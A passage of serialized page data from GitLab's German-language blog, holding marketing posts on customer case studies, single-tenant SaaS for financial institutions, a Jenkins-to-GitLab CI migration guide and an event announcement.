**[NVIDIA](https://about.gitlab.com/de-de/customers/nvidia/)** | Technologie | Skalierbare Zusammenarbeit mit GitLab Geo für verteilte Teams | 51 % Nutzerzuwachs in einem Jahr und 99 % Uptime |\n| **[Goldman Sachs](https://about.gitlab.com/de-de/customers/goldman-sachs/)** | Finanzdienstleistungen | CI/CD-Automatisierung und DevOps-Beschleunigung | von 1 Build in 2 Wochen auf über 1.000 Builds pro Tag |\n| **[Lockheed Martin](https://about.gitlab.com/de-de/customers/lockheed-martin/)** | Luft- und Raumfahrt / Verteidigung | Toolchain-Konsolidierung und DevSecOps-Skalierung | 80x schnellere CI-Builds, tausende stillgelegte Jenkins-Server |\n| **[HackerOne](https://about.gitlab.com/de-de/customers/hackerone/)** | Technologie / Security | Integrierte Security und Tool-Konsolidierung | 5x schnellere Deployments, 7,5x schnellere Pipelines |\n| **[Fanatics](https://about.gitlab.com/de-de/customers/fanatics/)** | Einzelhandel | CI-Stabilität und Migration auf GitLab CI | 800 Projekte in 3 Monaten migriert, 95 % Nutzerzufriedenheit |\n| **[CERN](https://about.gitlab.com/de-de/customers/cern/)** | Wissenschaft / Forschung | Kollaboration, Codequalität und Sicherheit in globalen Forschungsprojekten | 90x schnellere Job-Starts und 60x schnellere Fehleridentifikation |\n| **[Bitpanda](https://about.gitlab.com/de-de/customers/bitpanda/)** | Finanzdienstleistungen | Skalierung von DevOps, Transparenz und schnelles Onboarding | kontinuierliche Releases bis auf Stundenbasis, hohe Audit-Transparenz |\n| **[Ericsson](https://about.gitlab.com/de-de/customers/ericsson/)** | Telekommunikation | GitOps-gestützte Deployments für OSS/BSS | 50 % schnellere Deployments und 10x mehr Testszenarien |\n| **[Chefkoch](https://about.gitlab.com/de-de/customers/chefkoch/)** | Technologie | Toolchain-Konsolidierung und Effizienzsteigerung | 40 % schnellere Deployment und 30 % frühere Bug-Erkennung |\n| **[Hemmersbach](https://about.gitlab.com/de-de/customers/hemmersbach/)** | IT-Dienstleistung | Migration und Skalierung von DevOps | 60 % mehr Builds pro Tag und 30 automatisierte Deployments täglich |\n\n*[Weitere Erfolgsgeschichten unserer Kunden findest du auf dieser Übersichtsseite!](https://about.gitlab.com/de-de/customers/)*\n\n## Für wen ist GitLab geeignet?\n\nGitLab ist besonders für Unternehmen geeignet, die mehr brauchen als reine Quellcodeverwaltung. Seine Stärken spielt die Plattform vor allem dort aus, wo Entwicklung, Sicherheit und Betrieb enger miteinander verzahnt werden sollen – etwa in Enterprise-Umgebungen mit hohen Anforderungen an Compliance, Governance und Nachvollziehbarkeit.\n\nAuch für DevOps- und Plattformteams sowie für Organisationen mit komplexeren CI/CD-Prozessen ist GitLab oft eine gute Wahl. Das gilt vor allem dann, wenn mehrere Einzellösungen abgelöst, Abläufe standardisiert und Entwicklungsprozesse zentraler gesteuert werden sollen.\n\n## GitLab oder GitHub: Wann sprechen die Erfahrungen eher für GitLab?\n\nDer Unterschied zwischen GitLab und GitHub liegt vor allem im Plattformansatz. GitLab ist häufig die bessere Wahl, wenn Unternehmen CI/CD, Security, Governance und Deployment-Prozesse möglichst eng in einer Lösung abbilden möchten. Gerade bei Toolchain-Konsolidierung, Self-Hosting und integrierten DevSecOps-Prozessen zeigt die Plattform ihre Stärken.\n\nGitHub kann mit der Open-Source-Ausrichtung, Reichweite und einer besonders starken Marketplace- und Integrationslandschaft aufwarten. Wer also eine möglichst integrierte DevSecOps-Plattform sucht, findet in GitLab oft den passenden Ansatz. Wer primär an Open-Source-Projekten arbeitet, ist mit GitHub unter Umständen näher an den eigenen Anforderungen.\n\n## Fazit\n\nGitLab ist weit mehr als ein Tool für Quellcodeverwaltung. Die Plattform spielt ihre Stärken vor allem dort aus, wo Unternehmen Entwicklung, Sicherheit und Betrieb enger zusammenführen, ihre Tool-Landschaft konsolidieren und Prozesse über den gesamten Software-Lebenszyklus hinweg stärker standardisieren möchten. \n\nGenau das zeigen auch die Case Studies aus Deutschland und der DACH-Region: von schnelleren Releases über effizientere CI/CD-Prozesse bis hin zu mehr Transparenz, Sicherheit und Compliance. Gleichzeitig ist GitLab nicht für jedes Setup automatisch die beste Wahl. Wer vor allem eine besonders einfache Oberfläche, einen sehr niedrigen Einstieg oder eine maximal große Open-Source-Community sucht, sollte die Plattform sorgfältig einordnen. Für Unternehmen mit komplexeren Anforderungen und einem klaren Fokus auf integrierte DevSecOps-Prozesse kann GitLab in der Praxis jedoch ein erheblicher Hebel sein.\n\n> **Orchestriere deine gesamte Softwareentwicklung über eine Plattform**\n> \n> Du hast genug von einem aufgeblähten Techstack und isolierten Funktionen? Mach es wie tausende Unternehmen und verzahne deine Prozesse auf einer Plattform! \n> \n> [Jetzt kostenlos testen!](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/de-de&glm_content=default-saas-trial)","https://res.cloudinary.com/about-gitlab-com/image/upload/v1773856365/gsx2c0vqlswox3ldmq88.jpg",{"featured":13,"template":796,"slug":934},"gitlab-experience",{"content":936,"config":946},{"title":937,"description":938,"authors":939,"heroImage":942,"date":943,"category":683,"tags":944,"body":945},"Warum Finanzdienstleister auf Single-Tenant-SaaS setzen","So hilft GitLab Dedicated Finanzorganisationen dabei, konforme DevSecOps ohne Performance-Einbußen zu erreichen.",[940,941],"George Kichukov","Allie Holland","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662023/Blog/Hero%20Images/display-dedicated-for-government-article-image-0679-1800x945-fy26.png","2025-08-14",[535,867,920],"Betrete die Filiale einer beliebigen Finanzinstitution und eins wird sofort deutlich. Vorbei an bewaffneten Sicherheitskräften, durch biometrische Scanner, hinter dicken Wänden und mehreren Sicherheitskontrollen findest du Entwickler(innen), welche die Algorithmen erstellen, die das globale Finanzwesen antreiben – auf gemeinsamer Infrastruktur mit Millionen Unbekannten.\n\nDie Software, welche die heutige Finanzwelt antreibt, ist hoch komplex. Sie umfasst Kreditrisikomodelle, die Milliarden an Vermögenswerten schützen, Zahlungsverarbeitungsalgorithmen, die Millionen von Transaktionen abwickeln, Customer-Intelligence-Plattformen, die die Geschäftsstrategie vorantreiben, und Regulierungssysteme, die operative Compliance sicherstellen – alles angetrieben von Quellcode, der sowohl operativer Kern als auch strategisches Asset ist.\n\n## Wenn geteilte Infrastruktur zum systemischen Risiko wird\n\nDer Aufstieg von Software-as-a-Service-Plattformen hat für Finanzinstitute eine unbequeme Realität geschaffen. Jeder geteilte Mandant wird zu einem nicht verwalteten Drittparteirisiko und verwandelt plattformweite Vorfälle in branchenweite Störungen. Dies ist genau die Art von Konzentrationsrisiko, welches zunehmend die Aufmerksamkeit der Regulierungsbehörden auf sich zieht.\n\nPatrick Opet, Chief Information Security Officer von JPMorgan Chase, richtete kürzlich in einem [offenen Brief](https://www.jpmorgan.com/technology/technology-blog/open-letter-to-our-suppliers) an Drittanbieter eine deutliche Warnung an die Branche. Er hob hervor, wie die SaaS-Adoption „eine erhebliche Verwundbarkeit schafft, die das globale Wirtschaftssystem schwächt\", indem sie „Konzentrationsrisiko in die globale kritische Infrastruktur einbettet\". Der Brief betont, dass sich „ein Angriff auf einen großen SaaS- oder PaaS-Anbieter sofort auf dessen Kunden auswirken kann\" und genau das systemische Risiko schafft, das Multi-Tenant-Cloud-Plattformen für Quellcode-Management, CI-Builds, CD-Deployments und Sicherheitsscans einführen.\n\nBedenke die regulatorische Komplexität, die dies schafft. In gemeinsamen Umgebungen wird deine Compliance-Position zur Geisel potenzieller Vorfälle, die andere Mandanten betreffen, sowie der Konzentrationsrisiken von Anbietern mit großer Angriffsfläche. Eine Fehlkonfiguration, die eine Organisation auf der Plattform betrifft, kann breitere Auswirkungen auf das gesamte Ökosystem auslösen.\n\nDatensouveränitäts-Herausforderungen verstärken dieses Risiko. Gemeinsame Plattformen verteilen Workloads über mehrere Regionen und Rechtsräume, oft ohne granulare Kontrolle darüber, wo dein Quellcode ausgeführt wird. Für Institutionen, die unter strengen regulatorischen Anforderungen arbeiten, kann diese geografische Verteilung Compliance-Lücken schaffen, die schwer zu beheben sind.\n\nDann gibt es den Verstärkungseffekt. Jeder geteilte Mandant wird effektiv zu einem indirekten Drittparteirisiko für deine Operationen. Ihre Schwachstellen vergrößern deine Angriffsfläche. Ihre Vorfälle können deine Verfügbarkeit beeinträchtigen. Ihre Kompromittierungen können deine Umgebung beeinflussen.\n\n## Speziell entwickelt für das, was am wichtigsten ist\n\nGitLab erkennt an, dass der Quellcode deiner Organisation dieselbe Sicherheitsstufe verdient wie deine sensibelsten Kundendaten. Anstatt dich zu zwingen, zwischen Cloud-Skalierungseffizienz und Enterprise-Grade-Sicherheit zu wählen, liefert GitLab beides durch [GitLab Dedicated](https://about.gitlab.com/dedicated/) – speziell entwickelte Infrastruktur, die vollständige Isolation aufrechterhält.\n\nDeine Entwicklungsworkflows, Quellcode-[Repositories](https://docs.gitlab.com/user/project/repository/) und [CI/CD-Pipelines](https://docs.gitlab.com/ci/pipelines/) laufen in einer Umgebung, die ausschließlich deiner Organisation gewidmet ist. Die [Hosted Runners](https://docs.gitlab.com/administration/dedicated/hosted_runners/) für GitLab Dedicated veranschaulichen diesen Ansatz. Diese Runner verbinden sich sicher über ausgehende Private Links mit deinem Rechenzentrum und ermöglichen den Zugriff auf deine privaten Dienste, ohne Datenverkehr dem öffentlichen Internet auszusetzen. Die [Auto-Scaling-Architektur](https://docs.gitlab.com/runner/runner_autoscale/) bietet die benötigte Performance, ohne Sicherheit oder Kontrolle zu gefährden.\n\n## Kontrolle neu gedacht\n\nFür Finanzinstitute ist die Minimierung geteilter Risiken nur ein Teil der Gleichung – wahre Resilienz erfordert präzise Kontrolle darüber, wie Systeme arbeiten, skalieren und regulatorische Frameworks einhalten. GitLab Dedicated ermöglicht umfassende Datensouveränität durch mehrere Ebenen der Kundenkontrolle. Sie behalten die vollständige Autorität über [Verschlüsselungsschlüssel](https://docs.gitlab.com/administration/dedicated/encryption/#encrypted-data-at-rest) durch [Bring-Your-Own-Key (BYOK)](https://docs.gitlab.com/administration/dedicated/encryption/#bring-your-own-key-byok)-Funktionen und stellen sicher, dass sensible Quellcodes und Konfigurationsdaten nur für deine Organisation zugänglich bleiben. Selbst GitLab kann ohne deine Schlüssel nicht auf deine verschlüsselten Daten zugreifen.\n\n[Datenresidenz](https://docs.gitlab.com/subscriptions/gitlab_dedicated/data_residency_and_high_availability/) wird zur bewussten Entscheidung. Du wählst deine bevorzugte AWS-Region, um regulatorische Anforderungen und organisatorische Daten-Governance-Richtlinien zu erfüllen, und behältst die volle Kontrolle darüber, wo dein sensibler Quellcode und geistiges Eigentum gespeichert werden.\n\nDiese Kontrolle erstreckt sich auf [Compliance-Frameworks](https://docs.gitlab.com/user/compliance/compliance_frameworks/), die Finanzinstitute benötigen. Die Plattform bietet [umfassende Audit-Trails](https://docs.gitlab.com/user/compliance/audit_events/) und Protokollierungsfunktionen, die Compliance-Bemühungen für Finanzdienstleistungsvorschriften wie [Sarbanes-Oxley](https://about.gitlab.com/compliance/sox-compliance/) und [GLBA Safeguards Rule](https://www.ftc.gov/business-guidance/privacy-security/gramm-leach-bliley-act) unterstützen.\n\nWenn Compliance-Fragen auftreten, arbeitest du direkt mit GitLabs dediziertem Support-Team zusammen – erfahrene Fachleute, welche die regulatorischen Herausforderungen verstehen, denen Organisationen in hochregulierten Branchen gegenüberstehen.\n\n## Operative Exzellenz ohne operativen Overhead\n\nGitLab Dedicated gewährleistet [Hochverfügbarkeit](https://docs.gitlab.com/subscriptions/gitlab_dedicated/data_residency_and_high_availability/) mit [integrierter Disaster Recovery](https://docs.gitlab.com/subscriptions/gitlab_dedicated/), sodass deine Entwicklungsoperationen auch bei Infrastrukturausfällen resilient bleiben. Die dedizierten Ressourcen skalieren mit den Bedürfnissen deiner Organisation ohne die Performance-Variabilität, die gemeinsame Umgebungen einführen.\n\nDer [Zero-Maintenance-Ansatz](https://docs.gitlab.com/subscriptions/gitlab_dedicated/maintenance/) für CI/CD-Infrastruktur eliminiert eine erhebliche operative Belastung. Deine Teams konzentrieren sich auf die Entwicklung, während GitLab die zugrunde liegende Infrastruktur, Auto-Scaling und Wartung verwaltet – einschließlich schneller Sicherheitspatches zum Schutz deines kritischen geistigen Eigentums vor aufkommenden Bedrohungen. Diese operative Effizienz geht nicht auf Kosten der Sicherheit: Die dedizierte Infrastruktur bietet Enterprise-Grade-Kontrollen und liefert gleichzeitig Cloud-Skalierungs-Performance.\n\n## Die Wettbewerbsrealität\n\nWährend einige Institutionen über Infrastrukturstrategien debattieren, ergreifen Branchenführer entscheidende Maßnahmen. [NatWest Group](https://about.gitlab.com/press/releases/2022-11-30-gitlab-dedicated-launches-to-meet-complex-compliance-requirements/), eine der größten Finanzinstitutionen Großbritanniens, wählte GitLab Dedicated zur Transformation ihrer Engineering-Fähigkeiten:\n\n> *\"Die NatWest Group setzt GitLab Dedicated ein, um unseren Ingenieuren die Nutzung einer gemeinsamen Cloud-Engineering-Plattform zu ermöglichen; neue Kundenergebnisse schnell, häufig und sicher mit hoher Qualität, automatisierten Tests, On-Demand-Infrastruktur und durchgängigem Deployment zu liefern. Dies wird die Zusammenarbeit erheblich verbessern, die Entwicklerproduktivität steigern und Kreativität durch eine 'Single-Pane-of-Glass' für die Softwareentwicklung freisetzen.\"*\n>\n> **Adam Leggett**, Platform Lead - Engineering Platforms, NatWest\n\n## Die strategische Entscheidung\n\nDie erfolgreichsten Finanzinstitute stehen vor einer einzigartigen Herausforderung: Sie haben am meisten durch geteilte Infrastrukturrisiken zu verlieren, aber auch die Ressourcen, um bessere Lösungen zu entwickeln.\n\n**Die Frage, die wirkliche Branchenführer von anderen unterscheidet:** Werden sie geteilte Infrastrukturrisiken als Preis der digitalen Transformation akzeptieren, oder in Infrastruktur investieren, welche den Quellcode mit der strategischen Bedeutung behandelt, die er verdient?\n\nDeine Algorithmen werden nicht geteilt. Deine Risikomodelle werden nicht geteilt. Deine Kundendaten werden nicht geteilt.\n\n**Warum wird deine Entwicklungsplattform geteilt?**\n\n*Bereit, deinen Quellcode wie das strategische Asset zu behandeln, das er ist? [Sprich mit uns](https://about.gitlab.com/solutions/finance/) darüber, wie dir GitLab Dedicated die Sicherheit, Compliance und Performance bietet, die Finanzinstitute fordern – ohne die Kompromisse geteilter Infrastruktur.*",{"featured":645,"template":796,"slug":947},"why-financial-services-choose-single-tenant-saas",{"category":698,"slug":696,"posts":949},[950,963,975],{"content":951,"config":961},{"title":952,"description":953,"authors":954,"heroImage":956,"date":957,"body":958,"category":696,"tags":959},"Von Jenkins zu GitLab: Der vollständige Migrationsleitfaden","Schwachstellen in Jenkins-Umgebungen systematisch adressieren – mit GitLab CI als integrierter DevSecOps-Plattform.",[955],"Itzik Gan Baruch","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663000/Blog/Hero%20Images/tanukilifecycle.png","2026-03-15","Jenkins hat sich über mehr als ein Jahrzehnt als Standard-CI-Werkzeug in deutschen Unternehmen etabliert. Viele Organisationen betreiben heute dezentral gewachsene Installationen: mehrere Jenkins-Instanzen mit teambezogenen Konfigurationen, umfangreichen Plugin-Ökosystemen und eigenen Update- und Sicherheitspflegezyklen. Diese Infrastruktur ist produktiv – und entsprechend schwer zu verändern.\n\nGleichzeitig verschieben sich die Anforderungen: Cloud-Kompatibilität, Container-Orchestrierung, integrierte Sicherheitsscans und KI-gestützte Entwicklungswerkzeuge werden zur Grundvoraussetzung moderner CI/CD-Umgebungen. Jenkins liefert diese Fähigkeiten nicht nativ – sie entstehen durch das Zusammensetzen, Warten und Absichern von Plugins. Dabei ist der Aufwand nicht gering: Sicherheitsrelevante Plugin-Aktualisierungen fallen regelmäßig an und binden Entwicklungskapazität, die anderweitig produktiver eingesetzt werden könnte.\n\nDieser Leitfaden beschreibt drei bewährte Migrationsstrategien und einen empfohlenen Schritt-für-Schritt-Prozess – ergänzt durch ein deutsches Praxisbeispiel – für Organisationen, die eine Migration von Jenkins zu GitLab CI evaluieren oder planen.\n\n\n## Warum zu GitLab CI migrieren?\n\nGitLab CI ist integraler Bestandteil der GitLab DevSecOps-Plattform. Die zentralen Unterschiede gegenüber Jenkins:\n\n- **Integrierte Plattform:** Quellcodeverwaltung, Projektmanagement, Sicherheitsscans und Analytics sind ohne zusätzliche Plugins verfügbar – als ein zusammenhängendes System.\n- **Container und Orchestrierung:** Native Unterstützung für Docker und Kubernetes, ohne Plugin-Abhängigkeiten.\n- **Sicherheit im Entwicklungsprozess:** Statische Codeanalyse und Schwachstellen-Scanning sind direkt in die Pipeline integriert – nicht nachgelagert konfiguriert.\n- **GitOps-Prinzipien:** Versionskontrollierte, deklarative Konfigurationen für Infrastruktur und Deployments erhöhen die Reproduzierbarkeit und Nachvollziehbarkeit.\n\nEine Einführung in GitLab CI ist im englischen Originalbeitrag als Video-Tutorial verfügbar.\n\n\n## Die drei Migrationsstrategien\n\nJe nach Ausgangssituation, verfügbaren Ressourcen und Risikobereitschaft bieten sich drei Strategien an.\n\n### Strategie 1: GitLab CI für neue Projekte\n\nBestehende Jenkins-Installationen bleiben unverändert in Betrieb. Neue Projekte starten von Beginn an auf GitLab CI. Teams bauen schrittweise Erfahrung auf, ohne laufende Workflows zu beeinträchtigen.\n\n**Vorteile:** Minimales Migrationsrisiko. Kein Druck zur sofortigen Umstellung. Expertise entsteht organisch.\n\n**Herausforderungen:** Zwei CI/CD-Plattformen parallel zu betreiben erhöht die Koordinationskomplexität – insbesondere bei Integration und plattformübergreifender Zusammenarbeit. Prozess- und Sicherheitskonsistenz erfordert zusätzliche Abstimmung.\n\n### Strategie 2: Strategische Projekte migrieren\n\nProjekte, die am meisten von GitLab CIs Fähigkeiten profitieren, werden zuerst identifiziert und migriert. Statt einer vollständigen Umstellung konzentrieren sich die Ressourcen gezielt auf diese Projekte.\n\n**Vorteile:** Konkrete Verbesserungen in strategisch relevanten Bereichen bei überschaubarem Aufwand. Erfahrungen mit GitLab CI können gesammelt werden, bevor weitere Migrationen folgen.\n\n**Herausforderungen:** Auch die Migration einzelner Projekte erfordert sorgfältige Planung. Die Zusammenarbeit zwischen Projekten auf unterschiedlichen Plattformen bedarf zusätzlicher Koordination.\n\n### Strategie 3: Vollständige Migration\n\nAlle CI/CD-Prozesse, Projekte und Workflows werden auf GitLab CI migriert. Dieser Ansatz strebt Einheitlichkeit und vereinfachte Administration über alle Projekte hinweg an. Empfohlen wird dabei ein iteratives Vorgehen: zunächst neue Projekte, dann strategische Projekte, schließlich die verbleibenden – mit wachsender Erfahrung und Sicherheit in jedem Schritt.\n\n**Vorteile:** Einheitliche CI/CD-Prozesse vereinfachen langfristig Wartung und Administration. Alle Fähigkeiten der GitLab-Plattform – von Infrastructure as Code bis zu integrierten Sicherheitsfunktionen – stehen vollständig zur Verfügung. Skalierbarkeit für wachsende Projektportfolios.\n\n**Herausforderungen:** Eine vollständige Migration erfordert detaillierte Planung und kann laufende Projekte vorübergehend beeinflussen. Budget für Schulungen und Migrationsaufwand ist realistisch einzuplanen.\n\nDie Wahl der Strategie sollte auf den spezifischen Anforderungen, der Ausgangssituation und den verfügbaren Ressourcen der Organisation basieren.\n\n\n## Praxisbeispiel: Deutsche Bahn\n\nDie Deutsche Bahn betreibt eines der größten Hochgeschwindigkeitsbahnnetzwerke Europas und entwickelt mit GitLab die DB-Navigator-App – die wichtigste digitale Schnittstelle für täglich Millionen von Reisenden in Deutschland.\n\nVor der Konsolidierung auf GitLab betrieb die Deutsche Bahn mehrere verteilte Jenkins-Instanzen mit jeweils eigenen Konfigurationen und Plugin-Setups. Das Unternehmen ist dabei, Jenkins vollständig durch GitLab zu ersetzen. „All diese Jenkins-Plugins mussten oft aufgrund von Sicherheitsproblemen aktualisiert werden, und wir mussten jeden Monat Plugin-Upgrades durchführen. Es war sehr zeitaufwendig\", sagt Heiko Maaß, System Engineer bei der Deutschen Bahn. „Diese Aufgaben sind jetzt weg, sodass wir diese Zeit nutzen können, um neue Features zu erstellen, anstatt Jenkins zu warten.\" Der Wartungsaufwand war beträchtlich: Sicherheitsrelevante Plugin-Aktualisierungen fielen monatlich an und banden Kapazität, die in die Entwicklung neuer Funktionen hätte fließen können. Mit der Migration zu GitLab CI entfiel dieser Aufwand. Gleichzeitig vereinfachte GitLabs integrierte Plattform die bis dahin weitgehend manuelle Compliance-Koordination durch automatisierte Prüfprozesse erheblich.\n\nErgebnis: **80 % weniger Zeitaufwand für Pipeline-Wartung**, 10–20 % Infrastrukturkosteneinsparungen, 1 Million Pipeline-Builds pro Monat auf einer konsolidierten Plattform.\n\nDen vollständigen Kundenbericht gibt es hier: [Deutsche Bahn AG – GitLab Kundenstory](https://about.gitlab.com/de-de/customers/deutsche-bahn-ag/)\n\n[GitLab CI kostenlos testen](https://gitlab.com/-/trials/new)\n\n\n---\n\n\n## Technische Umsetzung: Migrationsschritte und Konfiguration\n\n*Dieser Abschnitt richtet sich an Implementierungsteams. Vollständige Video-Tutorials und alle Konfigurationsdetails sind im [englischen Originalbeitrag](https://about.gitlab.com/blog/jenkins-gitlab-ultimate-guide-to-modernizing-cicd-environment/) verfügbar.*\n\n\n### Empfohlener 6-Schritte-Migrationsprozess\n\nFür eine strukturierte Migration empfiehlt sich folgendes Vorgehen:\n\n1. **Pipeline-Bestandsaufnahme:** Alle bestehenden Jenkins-Pipelines inventarisieren. Umfang und Komplexität der Migration werden damit transparent.\n2. **Parallele Migration:** Einzelne Pipelines schrittweise auf GitLab CI übertragen, während Jenkins für laufende Arbeiten weiter genutzt wird.\n3. **Code-Verifikation:** Beide Pipelines parallel betreiben und die Ergebnisse direkt vergleichen. In dieser Phase ist der GitLab-Workflow optional, Jenkins bleibt verbindlich.\n4. **Kontinuierliche Validierung:** Nach einer vollständigen Iteration die Ergebnisse beider Pipelines auswerten – Statuscodes, Logs, Performance.\n5. **Umstellung auf GitLab CI:** Sobald Vertrauen in GitLab CI aufgebaut ist, wird der GitLab-Workflow zum verbindlichen Standard. Jenkins läuft im Hintergrund weiter.\n6. **Jenkins-Abschaltung:** Nach einer zweiten Iteration, bei nachgewiesener Stabilität von GitLab CI, wird Jenkins schrittweise aus dem Pipeline-Prozess entfernt.\n\nDieser Ansatz stellt sicher, dass Probleme identifiziert und behoben werden, bevor die vollständige Umstellung erfolgt.\n\n\n### Vorbereitung: Schulung und Kommunikation\n\nEine erfolgreiche Migration erfordert Vorbereitung auf organisatorischer Ebene:\n\n- **Stakeholder-Kommunikation:** Migrationspläne und Zeitplan frühzeitig an alle Beteiligten kommunizieren – DevOps-Teams, Entwicklungsteams und QA. Transparenz über Ziele und Erwartungen ist entscheidend.\n- **Schulungen:** Wissensaufbau zu GitLab CI, YAML-Syntax und grundlegender Pipeline-Erstellung. Teams benötigen die Grundlagen, bevor sie eigenständig arbeiten können.\n- **Praxisorientiertes Lernen:** Entwicklungsteams paarweise arbeiten lassen. Gegenseitiges Lernen während der Migration beschleunigt den Kompetenzaufbau.\n\n\n### Konfigurationsvergleich: Jenkinsfile vs. .gitlab-ci.yml\n\nBeide Dateien definieren Stages, Jobs und Schritte des CI/CD-Prozesses. Build-, Test- und Deployment-Schritte sowie Umgebungsvariablen lassen sich in beiden konfigurieren.\n\nDie wesentlichen Unterschiede: Jenkinsfile verwendet Groovy für Scripting, .gitlab-ci.yml verwendet YAML – eine menschenlesbarere und strukturiertere Syntax. GitLab CI stellt zudem eine breite Palette von integrierten Templates und vordefinierten Jobs bereit, was den Konfigurationsaufwand gegenüber eigenem Groovy-Scripting deutlich reduziert.\n\nDie Migration bestehender Jenkinsfile-Konfigurationen erfordert eine sorgfältige Analyse der vorhandenen Pipelines und eine Übertragung der Logik in die YAML-Syntax von GitLab CI. Unterschiede in Syntax und Plattformfähigkeiten sind dabei zu berücksichtigen.\n\n\n### Dokumentation und Professional Services\n\nGitLab bietet Dokumentation zur Jenkins-Migration: [Migrationsleitfaden in der GitLab-Dokumentation](https://docs.gitlab.com/ee/ci/migration/jenkins.html).\n\nDarüber hinaus unterstützt das Professional-Services-Team von GitLab Organisationen bei der Migration – von der Konvertierung von Jenkinsfile zu .gitlab-ci.yml bis zur Optimierung bestehender CI/CD-Workflows.\n\nDen vollständigen Leitfaden mit Video-Tutorials, weiteren Konfigurationsbeispielen und dem Lockheed-Martin-Fallbeispiel gibt es im englischen Originalbeitrag:\n\n[Jenkins to GitLab: The ultimate guide to modernizing your CI/CD environment](https://about.gitlab.com/blog/jenkins-gitlab-ultimate-guide-to-modernizing-cicd-environment/)\n",[853,253,806,212,698,960],"DevOps",{"slug":962,"featured":645,"template":796},"jenkins-gitlab-ultimate-guide-to-modernizing-cicd-environment",{"content":964,"config":973},{"description":965,"authors":966,"heroImage":968,"date":969,"title":970,"body":971,"category":696,"tags":972},"Komm am 10. Februar 2026 auf die GitLab Transcend in München oder sei online live dabei. Finde heraus, wie du Produktivitätsgewinne mit Qualität, Zuverlässigkeit und Sicherheit in Einklang bringst.",[967],"Manav Khurana","https://res.cloudinary.com/about-gitlab-com/image/upload/v1767982271/e9ogyosmuummq7j65zqg.png","2026-01-12","KI verändert DevSecOps: Triff GitLab und erfahre, was als Nächstes kommt","**KI verspricht einen Quantensprung bei der Innovationsgeschwindigkeit, doch die meisten Software-Teams stoßen an ihre Grenzen.**\n\nLaut unserem brandneuen [Global DevSecOps Report mit Zahlen für Deutschland](https://learn.gitlab.com/de-developer-survey/report-de-de-de-devsecops-report-practitioner) macht KI-generierter Code mittlerweile 32 Prozent aller Entwicklungsarbeit aus. Dennoch berichten 75 Prozent der deutschen DevSecOps-Expert(inn)en, dass KI das Compliance-Management erschwert, und 78 Prozent sagen, dass agentische KI beispiellose Sicherheitsherausforderungen schaffen wird.\n\nDas ist das **KI-Paradoxon:** KI beschleunigt das Programmieren, aber die Software-Auslieferung verlangsamt sich, weil Teams damit kämpfen, den Code zu testen, abzusichern und zu deployen.\n\n> **[Lade dir unseren DevSecOps Report für Deutschland *kostenlos* herunter!](https://learn.gitlab.com/de-developer-survey/report-de-de-de-devsecops-report-practitioner)**\n\n## Produktivitätsgewinne treffen auf Workflow-Engpässe\n\nDas Problem ist nicht die KI selbst. Es liegt daran, wie Software heute entwickelt wird. Der traditionelle DevSecOps-Lebenszyklus enthält Hunderte kleiner Aufgaben, die Entwickler(innen) manuell bewältigen müssen: Tickets aktualisieren, Tests ausführen, Reviews anfordern, auf Freigaben warten, Merge-Konflikte beheben, Sicherheitsprobleme angehen. Diese Aufgaben kosten laut unserer Forschung jedes Teammitglied durchschnittlich sieben Stunden pro Woche.\n\nEntwicklungsteams produzieren Code schneller als je zuvor, aber dieser Code kriecht immer noch durch fragmentierte Toolchains, manuelle Übergaben und unverbundene Prozesse. Tatsächlich verwenden nahezu 60 Prozent der deutschen DevSecOps-Teams mehr als fünf Tools für die Softwareentwicklung insgesamt, und 45 Prozent nutzen mehr als fünf KI-Tools. Diese Fragmentierung schafft Kollaborationsbarrieren – 97 Prozent der deutschen DevSecOps-Fachleute erleben Faktoren, die die Zusammenarbeit im Software-Entwicklungszyklus einschränken.\n\nDie Antwort sind nicht noch mehr Tools. Es ist intelligente Orchestrierung, die Software-Teams und ihre KI-Agenten über Projekte und Release-Zyklen hinweg zusammenbringt – mit eingebauter Sicherheit, Governance und Compliance auf Enterprise-Niveau.\n\n## Auf der Suche nach tieferen Mensch-KI-Partnerschaften\n\nDevSecOps-Profis wollen nicht, dass KI übernimmt – sie wollen verlässliche Partnerschaften. Die große Mehrheit (81 Prozent) sagt, dass die Nutzung agentischer KI ihre Arbeitszufriedenheit erhöhen würde, und 38 Prozent stellen sich eine ideale Zukunft mit einer 50/50-Aufteilung zwischen menschlichen und KI-Beiträgen vor. Sie sind bereit, KI rund ein Drittel ihrer täglichen Aufgaben ohne menschliche Überprüfung anzuvertrauen, besonders bei Dokumentation, Test-Erstellung und Code-Reviews.\n\nWas wir deutlich von deutschen DevSecOps-Expert(inn)en gehört haben, ist, dass KI sie nicht ersetzen wird; vielmehr wird sie ihre Rollen grundlegend verändern. 80 Prozent der DevSecOps-Fachleute glauben, dass KI ihre Arbeit innerhalb von fünf Jahren erheblich verändern wird, und bemerkenswert ist, dass drei Viertel denken, dies wird mehr Engineering-Jobs schaffen, nicht weniger. Da das Programmieren mit KI einfacher wird, werden Ingenieur(inn)en, die Systeme entwerfen, Qualität sicherstellen und geschäftlichen Kontext anwenden können, sehr gefragt sein.\n\nEntscheidend ist, dass 84 Prozent zustimmen, dass es wesentliche menschliche Qualitäten gibt, die KI niemals vollständig ersetzen wird, einschließlich Kreativität, Innovation, Zusammenarbeit und strategische Vision.\n\nWie können Organisationen also die Lücke zwischen dem Versprechen der KI und der Realität fragmentierter Workflows überbrücken?\n\n## Komm zur GitLab Transcend: Erfahre, wie du mit agentischer KI echten Wert schaffst\n\nAm 10. Februar 2026 veranstaltet GitLab Transcend, wo wir zeigen werden, wie intelligente Orchestrierung die KI-gestützte Softwareentwicklung transformiert. Du erhältst einen ersten Blick auf GitLabs kommende Produkt-Roadmap und erfährst, wie Teams reale Herausforderungen lösen, indem sie Entwicklungs-Workflows mit KI modernisieren.\n\nOrganisationen, die in dieser neuen Ära gewinnen, balancieren KI-Einführung mit Sicherheit, Compliance und Plattform-Konsolidierung. KI bietet echte Produktivitätsgewinne, wenn sie durchdacht implementiert wird – nicht indem sie menschliche Entwickler(innen) ersetzt, sondern indem sie DevSecOps-Profis befreit, sich auf strategisches Denken und kreative Innovation zu konzentrieren.\n\n> ## **Registriere dich jetzt für unser Event in München oder die Online-Konferenz**\n>\n> [Hier geht's zur digitalen Transcend](https://about.gitlab.com/events/transcend/virtual/) und [hier zum Live-Event in München](https://about.gitlab.com/events/transcend/munich/). Sichere dir deinen Platz und erfahre, wie intelligente Orchestrierung deinen Software-Teams helfen kann, im Flow zu bleiben.\n> *Die 